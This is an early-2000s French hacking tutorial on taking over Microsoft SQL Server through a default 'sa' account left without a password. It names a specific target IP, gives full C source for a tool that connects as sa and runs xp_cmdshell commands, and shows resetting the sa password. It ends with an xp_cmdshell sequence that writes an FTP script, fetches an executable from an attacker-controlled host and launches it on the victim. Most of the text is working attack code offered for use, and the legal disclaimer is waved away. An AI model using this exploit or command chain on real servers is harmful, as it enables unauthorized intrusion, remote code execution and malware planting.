10/08/2002 - 3h52 ================================================================================================ Exploit Microsoft-SQL-Server.1433 - SqlExec lunatic (_lunatic_@caramail.com) ================================================================================================ ============================= Au programme... ============================= -|- A. Début des hostilités -|- B. Choisir sa cible -|- C. Exploit Microsoft-SQL-Server/sa -|- D. Sources de données (ODBC) -|- E. Mise en place d'un accès remote sur la cible -|- F. Fin des hostilités ================================================================================================ -|- A. Début des hostilités ================================================================================================ ALbert Einstein a dit, "Il n'y a que deux choses d'infinies, la bétise humaine, et l'univers, mais pour l'univers je n'ai pas de certitude absolue" Il n'avait pas totalement tort, vous allez voir,grâce à la "bêtises humaine", comment il est possible de prendre un controle total d'un Microsoft SQL Server.. Avant tout, je tiens à preciser que vous, et vous seul engagez votre responsabilité, que ce texte n'a qu'un but éducatif...blablabla... Souvenez vous également que la Loi "godfrain" (nom au combien équivoque :) réprime l'accès et le maintien frauduleux total ou partiel dans tout ou partie d'un système ou délit d'intrusion, ainsi que l'atteinte volontaire aux données ou délit de piratage..de plus de 3 ans de prison ferme....sans compter les euros.. Microsoft SQL Server est un Système de Gestion de Base de Données Relationnelle. Grâce à Microsoft SQL Server, vous pouvez faire fonctionner des logiciels adaptés aux métiers de l’Entreprise (suivi de Clients, facturation, paye...) ou développer vos propres applications en fonction de vos besoins spécifiques. De plus les requêtes et les analyses de données peuvent être effectuées en toute simplicité via le Web Voila maintenant que les choses sont dites, nous allons pouvoir voir au travers un exemple concret, l'exploit d'un server Microsoft MySQL. ================================================================================================ -|- B. Choisir sa cible ================================================================================================ Comment savoir si un server dipose d'un Microsoft SQL server ? La reponse est des plus simple. En effet Microsoft SQL Server utilise le port TCP 1433. En théorie il suffit donc de scanner un éventail d'IP uniquement sur le port 1433... F Prenons donc Super Scan ..et lançons un balayage sur le port 1433. Vous allez être surpris du grand nombre de server ayant le port 1433....certains des admins n'en ont d'ailleurs même pas connaissance...ils installent le Microsoft SQL Server dans l'unique but de pratiquer des tests.."histoire de voir à quoi ça ressemble :)" Bon revenons au scanner. Ce dernier m'indique qu'il a trouvé le port 1433 d'ouvert sur la machine ayant l'IP suivante : 193.252.34.74 -> 1433 Microsoft SQL Server en ouvrant notre navigateur web favori, on s'aperçoit que http://193.252.34.74 est une page web notariale, sur des enchères des produits artistiques asiatique "GomezExpert". On a trouvé un server avec le port 1433 d'ouvert..mais qu'est ce qu'on va en faire ? A.Einstein a parlé de bêtise humaine...on va regarder s'il avait raison. Par défaut Microsoft SQL Server autorise un accès à un super administrateur. Cet accès est validé par le login : 'sa' ..sans mot de passe...vivi vous avez bien lu ..'sans mot de passe'. 50% des admins n'ont pas connaissance de ce compte super administrateur... et ne pensent donc pas à le modifier... ou à durcir :) le mot de passe. Il ne nous reste plus qu'à vérifier si 193.252.34.74 a laissé ce compte ouvert... ================================================================================================ -|- C. Exploit Microsoft-SQL-Server/sa ================================================================================================ L'exploit à coder consiste donc a vérifier si l'admin a laissé actif le compte 'sa'...et si oui se connecter au server SQL via ce compte, et lancer une commande DOS au choix. Sous microsoft SQL server, une commande DOS se lance sous la forme : EXEC master..xp_cmdshell 'commande dos' /****************************************************************** Exploit Microsoft-SQL-Server/sa par lunatic *******************************************************************/ #include #include #include #include #include #include int main(int argc, char *argv[]) { SQLCHAR Host[512]=""; SQLCHAR *User=";UID=sa"; SQLCHAR *Pass=";PWD="; SQLCHAR *Database=""; SQLCHAR InConnectionString[1025]=""; SQLCHAR rowBuff[200]=""; SQLINTEGER iRowBuff; UCHAR Query[1500]=""; UCHAR Cmd[300]=""; char inBuff[1025]=""; SQLRETURN nResult; SWORD sLen; SQLHDBC hDbc; HSTMT hStmt; SQLHANDLE hEnvironment; int retentage = 0; if(argc !=2) { printf("\n\n-------------Exploit pour SQLExec-------------\n\nCoded By Lunatic [lunatic.101main.com]\n\n"); printf("\nUsage : SQLExec \n[evitez de mettre l'IP de la cible directement]\n"); return 0; } printf("\n\n-------------Exploit pour SQLExec----------------\n\nCoded By Lunatic [lunatic.101main.com]\n\n"); memset(Query,0,1499); strcpy(Host,argv[1]); sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database); if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS) { printf("SQLAllocHandle a planté!\n"); return 0; } if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf("SQLSetEnvAttr a planté!\n"); return 0; } if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS) { printf("SQLAllocHandle a planté!\n"); return 0; } while(retentage < 4) { nResult = SQLDriverConnect(hDbc,NULL, InConnectionString, strlen(InConnectionString), inBuff, 1024, &sLen, SQL_DRIVER_COMPLETE_REQUIRED); if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO) { printf("Ok...t'es connecte..a toi de jouer...\n"); SQLAllocStmt(hDbc,&hStmt); break; } else { if(retentage == 3) { printf("\nImpossible de ce connecter a la Cible SQL!\n\nT'es sure que ne tu t'es pas planté ?\n" "Si tu as vraiment du mal..mets toi au tricot :)"); return 0; } retentage++; printf("..retentage..(%d)...\n",retentage); Sleep(5000); } } while(1){ printf("Tapes la commande 'DOS' a executer :"); fgets(Cmd,299,stdin); Cmd[strlen(Cmd)-1]='\0'; sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd); printf("Test d'excution '%s' sur la cible\n",Cmd); if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS) { printf("Y a eu un plantage là..." "Mais sa ve pas forcement dire que sa a pas fonctionner...\n" "Verifies ce que sa a donné \n" "T'es sure de pas avoir ecrit de conneries?"); return 0; } while (nResult != SQL_ERROR) { memset(rowBuff,0,99); nResult = SQLFetch(hStmt); if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO) { printf("Error while fething the results from the stored proc.\n"); } if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){ SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff); printf("%s \n",rowBuff); } else { break; } } } SQLFreeHandle(SQL_HANDLE_DBC,&hDbc); SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment); SQLFreeHandle(SQL_HANDLE_STMT,&hStmt); return 0; } ***************************************************************************** voila. un coup de borland et c'est compilé. sous DOS . le prompt nous affiche ceci : C:\exploit.exe 193.252.34.74 -----------------------Exploit pour SQLExec--------------------- Coded by lunatic Ok...t'es connecté..a toi de jouer... Tape la commande 'DOS' à exécuter : ...ok cool :) ..pour le fun je tape DIR..histoire de voir le répertoire dans lequel sql est installé. ça nous sera utile par la suite :) Maintenant que l'on sait que 193.252.34.74 dipose d'un server microsoft SQl avec le compte "sa" d'actif..on va se faire plaisir avec SQLexec :) ================================================================================================ -|- D. Sources de données (ODBC) ================================================================================================ Sous win2K dans les outils d'administration, il y a l'Open DataBase Connectivity manager. Il s'agit d'un format défini par Microsoft permettant la communication entre des clients bases de données fonctionnant sous Windows et les SGBD du marché. La technologie ODBC permet d'interfacer de façon standard une application à n'importe quel serveur de bases de données, pour peu que celui-ci possède un driver ODBC (la quasi-totalité des SGBD possèdent un tel pilote, dont tous les principaux SGBD du marché). Dans l'onglet "systeme sdn" (Source de données systhème), nous allons ajouter SQL server. et nous connecter sur le server 193.252.34.74.."with SQL Server authenticating.." là il nous suffit de mettre le login "sa" et de laisser le mot de passe vide... Cliquer toujours sur suivant, puis tester la communication : " Tentative de connexion Connexion établie Vérification de la configuration des options Déconnexion du serveur TESTS EFFECTUÉS AVEC SUCCÈS. " une fois la connection effectuée, nous allons utiliser l'outils gratos SQLexec..de snoopsoft. SQLexec est un outil permettant de travailler à distance sur une base de donné SQL. C'est très pratique surtout dans notre cas. Une fois SQLExec logué sur la machine cible...on peut vraiment TOUT faire...suffit de connaître les commandes :) J'ai emprunté un livre à ma fac.. ça m'a été très utile. Ainsi on peut lancer des commandes SHELL sur la machine.. :) Exemple : EXEC master..xp_cmdshell 'dir' MAGIE :) l'arborescence du repertoire apparait (c:\winnt\system32) ou : EXEC master..sp_password NULL, "nouveaupass", sa; ou encore : EXEC master..xp_cmdshell 'pslist' permet de voir les logiciels tournant sur la machine. les possibilités sont infinies...un peu comme la bêtise humaine. ================================================================================================ -|- E. Mise en place d'un accès remote sur la cible ================================================================================================ Afin d'avoir un accès complet sur la machine..le mieux serait de nous ouvrir un port FTP. Question : comment créer un ftp (ou autre service) à partir d'SQLExec ? Je pense que c'est ça le véritable fond du pb. Je me suis cassé le cul (façon de parler bien sûr)..et j'ai finalement trouvé une solution. Imaginons que l'on se serve d'une version 'lite' de serv-u (server FPT)...que l'on upload cette version de serv-U sur la cible via SQL, et que l'on exécute ce serv-u ..toujours via SQL. Bon je ne vais pas reprendre ici la manière de créer un serv-u lite, ou coder un trojan ou tout autre chose du même style...ce n'est pas le but de l'article. EXEC master..xp_cmdshell 'echo open IP PORT >lol'; EXEC master..xp_cmdshell 'echo user toto tata >> lol' ; EXEC master..xp_cmdshell 'echo bin >> lol' ; EXEC master..xp_cmdshell 'echo glob >> lol' ; EXEC master..xp_cmdshell 'echo cd / >> lol'; EXEC master..xp_cmdshell 'echo cd upload >> lol'; EXEC master..xp_cmdshell 'echo get fichier.exe>> lol'; EXEC master..xp_cmdshell 'echo bye >> lol'; EXEC master..xp_cmdshell 'ftp -n -s:lol >out.txt 2>out2.txt'; EXEC master..xp_cmdshell 'del out.txt'; EXEC master..xp_cmdshell 'del out2.txt'; voila :) je ne pense pas m'etre planté. J'ai donc pensé faire connecter la cible a un FTP..et télécharger ainsi le fichier.exe que je veux lui faire exécuter par la suite. L'emploi des commandes ECHO est ici très utile. Je crée en memoire un fichier 'LOL'.. qui comprendra l'ensemble des commandes à exécuter pour se connecter au ftp et récupérer ce fichier.exe. Le shéma n'est pas bien compliqué..je pense que tout le monde l'aura compris. pour être sûr que mon fichier.exe se trouve sur le server SQL. une simple requête : EXEC master..xp_cmdshell 'dir fichier.exe' ..la cible me confirme effectivement que ce fichier est présent. il ne me reste plus alors qu'à le lancer : EXEC master..xp_cmdshell 'start c:\winnt\system32\fichier.exe'; et voilà :).. ================================================================================================ -|- F. Fin des hostilités ================================================================================================ Ma technique est loin d'être la meilleure mais elle a le mérite de fonctionner....au détriment de la bêtise humaine...comme toujours. Je voulais remercier tout particulierement ThreaT pour ses excellents (et c'est peu de le dire) articles sur le rootkit, ainsi que FlyeR (mais si c'est bien enlightenment !) et merci a mon ange d'avoir corrigé mon torchon. N'hesitez pas à me contacter : _lunatic_@caramail.com http://www.tlcp.cjb.net http://lunatic.101main.com